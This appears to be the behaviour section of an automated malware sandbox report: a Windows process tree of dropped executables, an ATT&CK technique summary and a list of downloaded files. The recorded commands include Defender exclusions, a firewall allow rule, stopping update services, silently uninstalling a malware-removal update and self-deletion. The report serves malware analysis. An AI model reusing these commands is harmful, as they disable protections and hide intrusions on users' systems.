- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\Files\softina.exeC:\Users\Admin\AppData\Local\Temp\Files\softina.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Files\softina.exe"; Add-MpPreference -ExclusionProcess "softina.exe"; exit"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\requirements.exeC:\Users\Admin\AppData\Local\Temp\requirements.exe1⤵
- Executes dropped EXE
-
C:\ProgramData\jmqid\ljid.exeC:\ProgramData\jmqid\ljid.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\Files\softina.exeC:\Users\Admin\AppData\Local\Temp\Files\softina.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Files\softina.exe"; Add-MpPreference -ExclusionProcess "softina.exe"; exit"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc1⤵
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Program Files (x86)\Google\Update\Install\{4CDF4152-5A6E-4976-A69E-F9F5F6F3D666}\131.0.6778.140_chrome_installer.exe"C:\Program Files (x86)\Google\Update\Install\{4CDF4152-5A6E-4976-A69E-F9F5F6F3D666}\131.0.6778.140_chrome_installer.exe" --verbose-logging --do-not-launch-chrome --channel=stable --system-level /installerdata="C:\Program Files (x86)\Google\Update\Install\{4CDF4152-5A6E-4976-A69E-F9F5F6F3D666}\guiF495.tmp"2⤵
- Drops file in Program Files directory
-
C:\Program Files (x86)\Google\Update\Install\{4CDF4152-5A6E-4976-A69E-F9F5F6F3D666}\CR_9552F.tmp\setup.exe"C:\Program Files (x86)\Google\Update\Install\{4CDF4152-5A6E-4976-A69E-F9F5F6F3D666}\CR_9552F.tmp\setup.exe" --install-archive="C:\Program Files (x86)\Google\Update\Install\{4CDF4152-5A6E-4976-A69E-F9F5F6F3D666}\CR_9552F.tmp\CHROME.PACKED.7Z" --verbose-logging --do-not-launch-chrome --channel=stable --system-level /installerdata="C:\Program Files (x86)\Google\Update\Install\{4CDF4152-5A6E-4976-A69E-F9F5F6F3D666}\guiF495.tmp"3⤵
- Drops file in Program Files directory
-
C:\Program Files (x86)\Google\Update\Install\{4CDF4152-5A6E-4976-A69E-F9F5F6F3D666}\CR_9552F.tmp\setup.exe"C:\Program Files (x86)\Google\Update\Install\{4CDF4152-5A6E-4976-A69E-F9F5F6F3D666}\CR_9552F.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=131.0.6778.140 --initial-client-data=0x26c,0x270,0x274,0x1d8,0x278,0x7ff7511e5d68,0x7ff7511e5d74,0x7ff7511e5d804⤵
- Drops file in Program Files directory
-
-
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNi4zNTIiIHNoZWxsX3ZlcnNpb249IjEuMy4zNi4zNTEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7RTA0M0E1RTctRDJGRi00RjhCLUEzMTctMzVFQ0IwOTA1MEVGfSIgdXNlcmlkPSJ7MzIxRTBEMEYtMEVEQy00Q0I2LUIwMUQtQzkyMEY2RTg5RDUxfSIgaW5zdGFsbHNvdXJjZT0idGFnZ2VkbWkiIHJlcXVlc3RpZD0iezkzQUZFRDAyLTJCOEUtNDQ1Qy04MTIwLUYzODVFNzc0NjYyOX0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iOCIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiLz48YXBwIGFwcGlkPSJ7OEE2OUQzNDUtRDU2NC00NjNDLUFGRjEtQTY5RDlFNTMwRjk2fSIgdmVyc2lvbj0iIiBuZXh0dmVyc2lvbj0iMTMxLjAuNjc3OC4xNDAiIGFwPSJ4NjQtc3RhYmxlLXN0YXRzZGVmXzEiIGxhbmc9InpoLUNOIiBicmFuZD0iIiBjbGllbnQ9IiIgaW5zdGFsbGFnZT0iNjYiIGlpZD0ie0RCMjRFREQzLTk5MjAtNUQ1Ri1GQkJFLThFNzQzRjc0ODZDMX0iIGNvaG9ydD0iMTpndS9pMTk6IiBjb2hvcnRuYW1lPSJTdGFibGUgSW5zdGFsbHMgJmFtcDsgVmVyc2lvbiBQaW5zIj48ZXZlbnQgZXZlbnR0eXBlPSI5IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iNSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIvPjxldmVudCBldmVudHR5cGU9IjEiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIGRvd25sb2FkZXI9Indpbmh0dHAiIHVybD0iaHR0cDovL2VkZ2VkbC5tZS5ndnQxLmNvbS9lZGdlZGwvcmVsZWFzZTIvY2hyb21lL2NwaWhkZ2FrbnU2MndudW9rcDZ0ZG5vY2xhXzEzMS4wLjY3NzguMTQwLzEzMS4wLjY3NzguMTQwX2Nocm9tZV9pbnN0YWxsZXIuZXhlIiBkb3dubG9hZGVkPSIxMTYwMzI4ODAiIHRvdGFsPSIxMTYwMzI4ODAiIGRvd25sb2FkX3RpbWVfbXM9IjE3NjMyIi8-PGV2ZW50IGV2ZW50dHlwZT0iMSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIvPjxldmVudCBldmVudHR5cGU9IjYiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSIyIiBldmVudHJlc3VsdD0iNiIgZXJyb3Jjb2RlPSIxMiIgZXh0cmFjb2RlMT0iMCIgc291cmNlX3VybF9pbmRleD0iMCIgdXBkYXRlX2NoZWNrX3RpbWVfbXM9IjY1OCIgZG93bmxvYWRfdGltZV9tcz0iMjA4OTQiIGRvd25sb2FkZWQ9IjExNjAzMjg4MCIgdG90YWw9IjExNjAzMjg4MCIgaW5zdGFsbF90aW1lX21zPSIyNDA1NSIvPjwvYXBwPjwvcmVxdWVzdD42⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exeC:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXE"C:\Windows\system32\PING.EXE" 127.1.10.13⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\Server.exeC:\Users\Admin\AppData\Local\Temp/Server.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\requirements.exeC:\Users\Admin\AppData\Local\Temp\requirements.exe1⤵
-
C:\ProgramData\jmqid\ljid.exeC:\ProgramData\jmqid\ljid.exe1⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\Server.exeC:\Users\Admin\AppData\Local\Temp/Server.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\requirements.exeC:\Users\Admin\AppData\Local\Temp\requirements.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exeC:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe1⤵
-
C:\ProgramData\jmqid\ljid.exeC:\ProgramData\jmqid\ljid.exe1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4940 -ip 49401⤵
-
C:\Windows\tynbyc.exeC:\Windows\tynbyc.exe1⤵
- Checks processor information in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6616 -s 6482⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 396 -p 6616 -ip 66161⤵
-
C:\Windows\tynbyc.exeC:\Windows\tynbyc.exe1⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
-
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exeC:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\Server.exeC:\Users\Admin\AppData\Local\Temp/Server.exe1⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\requirements.exeC:\Users\Admin\AppData\Local\Temp\requirements.exe1⤵
-
C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exeC:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe1⤵
-
C:\ProgramData\jmqid\ljid.exeC:\ProgramData\jmqid\ljid.exe1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\tynbyc.exeC:\Windows\tynbyc.exe1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\dwm.exe"dwm.exe"1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 2980 -ip 29801⤵
-
C:\Users\Admin\AppData\Local\Temp\requirements.exeC:\Users\Admin\AppData\Local\Temp\requirements.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\Server.exeC:\Users\Admin\AppData\Local\Temp/Server.exe1⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exeC:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\ProgramData\jmqid\ljid.exeC:\ProgramData\jmqid\ljid.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\softina.exeC:\Users\Admin\AppData\Local\Temp\Files\softina.exe1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Files\softina.exe"; Add-MpPreference -ExclusionProcess "softina.exe"; exit"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exeC:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\requirements.exeC:\Users\Admin\AppData\Local\Temp\requirements.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\Server.exeC:\Users\Admin\AppData\Local\Temp/Server.exe1⤵
- System Location Discovery: System Language Discovery
-
C:\ProgramData\jmqid\ljid.exeC:\ProgramData\jmqid\ljid.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5960 -ip 59601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 5960 -ip 59601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 3808 -ip 38081⤵
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ua /installsource scheduler1⤵
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /c1⤵
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /cr2⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /report "C:\Program Files (x86)\Google\Temp\5f01f945-471f-4eb3-94e4-295351ee3240.dmp" /machine3⤵
-
-
-
C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleCrashHandler.exe"C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleCrashHandler.exe"2⤵
- Drops file in Program Files directory
-
C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleCrashHandler.exe"C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleCrashHandler.exe"3⤵
-
-
-
C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleCrashHandler64.exe"C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleCrashHandler64.exe"2⤵
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ua /installsource core2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 576 -ip 5761⤵
-
C:\Users\Admin\AppData\Local\Temp\requirements.exeC:\Users\Admin\AppData\Local\Temp\requirements.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\Server.exeC:\Users\Admin\AppData\Local\Temp/Server.exe1⤵
-
C:\ProgramData\jmqid\ljid.exeC:\ProgramData\jmqid\ljid.exe1⤵
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\Server.exeC:\Users\Admin\AppData\Local\Temp/Server.exe1⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\requirements.exeC:\Users\Admin\AppData\Local\Temp\requirements.exe1⤵
-
C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exeC:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\ProgramData\jmqid\ljid.exeC:\ProgramData\jmqid\ljid.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\Server.exeC:\Users\Admin\AppData\Local\Temp/Server.exe1⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\Server.exe" "Server.exe" ENABLE2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exeC:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\requirements.exeC:\Users\Admin\AppData\Local\Temp\requirements.exe1⤵
-
C:\ProgramData\jmqid\ljid.exeC:\ProgramData\jmqid\ljid.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\requirements.exeC:\Users\Admin\AppData\Local\Temp\requirements.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exeC:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe1⤵
-
C:\ProgramData\jmqid\ljid.exeC:\ProgramData\jmqid\ljid.exe1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 5780 -ip 57801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 5780 -ip 57801⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\softina.exeC:\Users\Admin\AppData\Local\Temp\Files\softina.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\requirements.exeC:\Users\Admin\AppData\Local\Temp\requirements.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\requirements.exeC:\Users\Admin\AppData\Local\Temp\requirements.exe1⤵
-
C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exeC:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXE"C:\Windows\system32\PING.EXE" 127.1.0.13⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\ProgramData\jmqid\ljid.exeC:\ProgramData\jmqid\ljid.exe1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 5420 -ip 54201⤵
-
C:\ProgramData\Google\Chrome\updater.exeC:\ProgramData\Google\Chrome\updater.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\requirements.exeC:\Users\Admin\AppData\Local\Temp\requirements.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exeC:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exeC:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\ProgramData\jmqid\ljid.exeC:\ProgramData\jmqid\ljid.exe1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 23B4D94E03F600F18549286E0C8F6771 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI866D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241654031 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exeC:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exeC:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\requirements.exeC:\Users\Admin\AppData\Local\Temp\requirements.exe1⤵
-
C:\ProgramData\jmqid\ljid.exeC:\ProgramData\jmqid\ljid.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\softina.exeC:\Users\Admin\AppData\Local\Temp\Files\softina.exe1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Files\softina.exe"; Add-MpPreference -ExclusionProcess "softina.exe"; exit"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exeC:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exeC:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\requirements.exeC:\Users\Admin\AppData\Local\Temp\requirements.exe1⤵
-
C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exeC:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell ping 127.1.0.1; del MicrosoftEdgeUpdateTaskMachineCoreSC.exe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 5628 -ip 56281⤵
-
C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exeC:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe1⤵
-
C:\ProgramData\jmqid\ljid.exeC:\ProgramData\jmqid\ljid.exe1⤵
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Account Manipulation
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
2Component Object Model Hijacking
1Image File Execution Options Injection
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Access Token Manipulation
1Create Process with Token
1Account Manipulation
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
2Component Object Model Hijacking
1Image File Execution Options Injection
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Access Token Manipulation
1Create Process with Token
1Hide Artifacts
3Hidden Files and Directories
3Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Modify Registry
2Virtualization/Sandbox Evasion
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Discovery
Browser Information Discovery
1Network Service Discovery
1Peripheral Device Discovery
1Permission Groups Discovery
1Local Groups
1Process Discovery
1Query Registry
10Remote System Discovery
1System Information Discovery
8System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
2Internet Connection Discovery
1Wi-Fi Discovery
1Virtualization/Sandbox Evasion
3Replay Monitor
Loading Replay Monitor...
Downloads
GoogleCrashHandler.exe
GoogleUpdate.exe
setup.exe
BrowsingTopicsState
SCT Auditing Pending Reports
TransportSecurity
Preferences
Preferences
Preferences
Preferences
Secure Preferences
Local State
Local State
powershell.exe.log
settings.dat
settings.dat
the-real-index
Preferences
Preferences
the-real-index
the-real-index~RFe58cdda.TMP
CURRENT
Local State
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
65CC.bat
AutofillData.db
AutofillData.db
DownloadData.db
DownloadData.db
%E8%88%9E%E8%B9%88%E5%8A%A9%E6%89%8B.exe
02.08.2022.exe
1111.exe
1188%E7%83%88%E7%84%B0.exe
123.exe
248364651.exe
2klz.exe
4.exe
4XYFk9r.exe
5447jsX.exe
9402.tmp.exe
AsyncClient.exe
C1J7SVw.exe
ChromeSetup.exe
Client-built.exe
Cvimelugfq.exe
Discord3.exe
DiscordSpotifyBypass.exe
FACT0987789000900.exe
GIFT-INFO.lMG.exe
HVNC1.exe
ITplan.exe
Lumm.exe
NVIDIA.exe
Office2024.exe
OneDrive.exe
PHJG9876789000.exe
PkContent.exe
RMS1.exe
Reaper%20cfx%20Spoofer%20V2.exe
Server.exe
SharpHound.exe
SrbijaSetupHokej.exe
Steam.Upgreyd.exe
TT18.exe
TigerHulk3.exe
Vhpcde.exe
WindowsUI.exe
XClient.exe
Z9Pp9pM.exe
ZZZ.exe
alphaTweaks.exe
anne.exe
ardara.exe
basx.exe
bot2.exe
chicken123.exe
chrome_93.exe
chromedump.exe
clcs.exe
cli.exe
conhost.exe
crypted.exe
d8rb24m3.exe
dccrypt.exe
dismhost.exe
dujkgsf.exe
eps9m380cn.exe
file.exe
gU8ND0g.exe
hbfgjhhesfd.exe
hell9o.exe
heo.exe
j4vzzuai.exe
jy.exe
krgawdtyjawd.exe
lega.exe
lummnew.exe
main.exe
mimikatz.exe
nSoft.exe
newbundle2.exe
noll.exe
pornhub_downloader.exe
prem1.exe
putty.exe
q1wnx5ir.exe
r2.exe
r42aoop5.exe
random.exe
rat.exe
requirements.exe
rj2wofc38q.exe
roblox1.exe
runtime.exe
shttpsr_mg.exe
soft.exe
softina.exe
steal_stub.exe
svchost.exe
svchosts.exe
svcyr.exe
test-again.exe
test22.exe
test_again4.exe
tpeinf.exe
utility-inst.exe
ven_protected.exe
yellow-rose.exe
yiklfON.exe
zts.exe
Tmp31CF.tmp
_SHA224.pyd
cacert.pem
Conakry
Djibouti
Kigali
Lagos
Curacao
Toronto
Greenwich
London
Oslo
Skopje
PRC
Wallis
Yap
UCT
